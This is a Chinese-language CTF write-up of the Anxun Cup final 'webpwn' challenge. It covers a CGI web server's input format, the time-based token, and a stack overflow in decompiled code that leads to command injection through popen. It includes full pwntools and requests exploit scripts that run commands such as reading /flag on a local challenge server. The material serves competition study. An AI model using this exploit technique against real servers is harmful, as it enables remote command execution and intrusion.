安洵final
安洵杯线下赛的最后一题,webpwn当时没做出来,看了两三天+darry的帮助下才复现出来。
做这类题目需要认认真真的去分析,才能找到漏洞点,但认真分析就会很浪费时间,说到底还是太菜。
首先要做的就是如何正确的输入,从下面三张图片即可看出需要我们输入请求方式、文件名、任意
下面这段代码自定义了一个头部X-Forword-For ,其后内容长度必须大于七,且必须是192.168.1.1~20
输入问题解决后,就得寻找漏洞了,一般的漏洞是目录穿越或者栈溢出。
从data段中找到了login.cgi
、logout.cgi
、wifictl.cgi
、logctl.cgi
,这些是文件名,并且每个文件名对应一个函数。
下图是以’=‘,’?‘,’&‘三个符号将文件名分解
sub_4034FD
函数如下,a2是我们的输入,可以输入任意长度,并且复制给dest1[16 * i + 40]
下图可以得出’?‘后应该跟ring_token
我们先看看wifictl这个函数,这个函数会给我们显示时间
漏洞点在logctl这个函数里,首先需要有一个token值,值是wifictl给出的时间。
在sub_402E56
中,a2是我们的输入,任意长度,s接受输入的值,因此有溢出,我们就可以控制a3了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| __int64 __fastcall sub_402E56(__int64 a1, const char *a2, char *a3) { int v3; // eax unsigned int v6; // [rsp+20h] [rbp-CE0h] int i; // [rsp+24h] [rbp-CDCh] int k; // [rsp+24h] [rbp-CDCh] int j; // [rsp+28h] [rbp-CD8h] int v10; // [rsp+2Ch] [rbp-CD4h] int v11[128]; // [rsp+30h] [rbp-CD0h] BYREF char v12[128]; // [rsp+230h] [rbp-AD0h] BYREF char s[1312]; // [rsp+2B0h] [rbp-A50h] BYREF char v14[1304]; // [rsp+7D0h] [rbp-530h] BYREF unsigned __int64 v15; // [rsp+CE8h] [rbp-18h]
v15 = __readfsqword(0x28u); v6 = 0; v10 = 0; if ( a2 ) { memset(s, 0, 0x514uLL); memset(v14, 0, sizeof(v14)); memset(v12, 0, sizeof(v12)); memset(v11, 0, sizeof(v11)); strcpy(v12, "$;`'&|<>^\n\r"); strcpy(s, a2); for ( i = 0; i < strlen(s); ++i ) { for ( j = 0; j < strlen(v12); ++j ) { if ( s[i] == v12[j] ) { v11[i] = 1; // v11[i]表示有和上面相同的符号 break; } } } for ( k = 0; k < strlen(v12); ++k ) { if ( v11[k] == 1 ) { v3 = v10++; v14[v3] = v12[k]; v6 = 1; } } strcpy(a3, v14); } return v6; }
|
v5被我们控制后,popen函数会调用execve函数执行参数,因此我们就可以直接写/bin/sh了。
在使用pwntool模块时,我们需要注意下在写参数时需要进行url编码,所以得将空格换成%20或+。使用request模块则不需要。
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| from pwn import * import requests io=remote('127.0.0.1','10000') context.log_level='debug' payload = 'GET /wifictl.cgi?ring_token=1 HTTP/1/1\r\nX-Forword-For: 192.168.1.1\r\n' io.sendline(payload) io.recvuntil('now time is ') time=io.recvuntil('.')[:-1] print(time) io.close()
io=remote('127.0.0.1','10000') context.log_level='debug' #cmd = 'a;'+'a'*1311+"/bin/cat /flag > a;" cmd = 'a;'+'a'*1311+'/bin/ls+/+>+/var/www/html/a;' payload = 'GET /logctl.cgi?ring_token={0}&aa={1} HTTP/1/1\r\nX-Forword-For: 192.168.1.1\r\n'.format(int(time)+1,cmd) io.sendline(payload) io.recvline() io.close()
io=remote('127.0.0.1',10000) context.log_level='debug' payload = 'GET /a HTTP/1/1\r\nX-Forword-For: 192.168.1.1\r\n' io.sendline(payload) io.recvline() io.close() #io.interactive()
|
request模块
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80
| # import getopt # import sys import warnings import requests import re # import json import socket import socks #socks.setdefaultproxy(socks.HTTP, "127.0.0.1", 8080) #socket.socket = socks.socksocket #context.log_levle='debug'
def exp(url): if url[len(url) - 1] != '/': print("[-] Target URL Format Error,The last char in url must be '/'.") return False warnings.filterwarnings('ignore') s = requests.session() s.verify = False header = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36', 'X-Forword-For': '192.168.1.1' }
try: # print("[+] login...") ret = s.get("{}wifictl.cgi?ring_token=1".format(url), headers=header, timeout=8) print(s) if ret.status_code == 200: if "now time is" in ret.content.decode(): time_ret = re.search(r"now time is (.+?)\.\n",ret.content.decode()) if time_ret is None: print("[-] time_ret re error, cannot get time") return False else: now_time = time_ret.group(1) print("[+] now time is " + now_time) else: print("[-] time_ret re error, cannot get time") return False else: print("[-] status_code error, cannot get time") return False cmd = "a;" + "a"*1311 + "/bin/cat /flag >/var/www/html/flag;" new_url = "{}logctl.cgi?ring_token={}&aa={}".format(url, int(now_time)+1, cmd) ret = s.get(new_url, headers=header, timeout=8) # if ret.status_code == 200: # print(ret.content.decode()) # else: # print("[-] status_code error, cannot get flag") # return False ret = s.get("{}flag".format(url), headers=header, timeout=8) if ret.status_code == 200: print(ret.content.decode()) else: print("[-] status_code error, cannot get flag") return False cmd = "a;" + "a"*1311 + "rm /var/www/html/flag;" new_url = "{}logctl.cgi?ring_token={}:1&aa={}".format(url, int(now_time)+1, cmd) ret = s.get(new_url, headers=header, timeout=8) if ret.status_code == 200: return True else: print("[-] status_code error, cannot rm flag") return False except Exception as reason: if 'timed' in repr(reason) or 'timeout' in repr(reason): print('[-] Fail, can not connect target for: timeout') return False else: print('[-] Fail, can not connect target for: {}'.format(repr(reason))) return False
exp("http://127.0.0.1:10000/")
|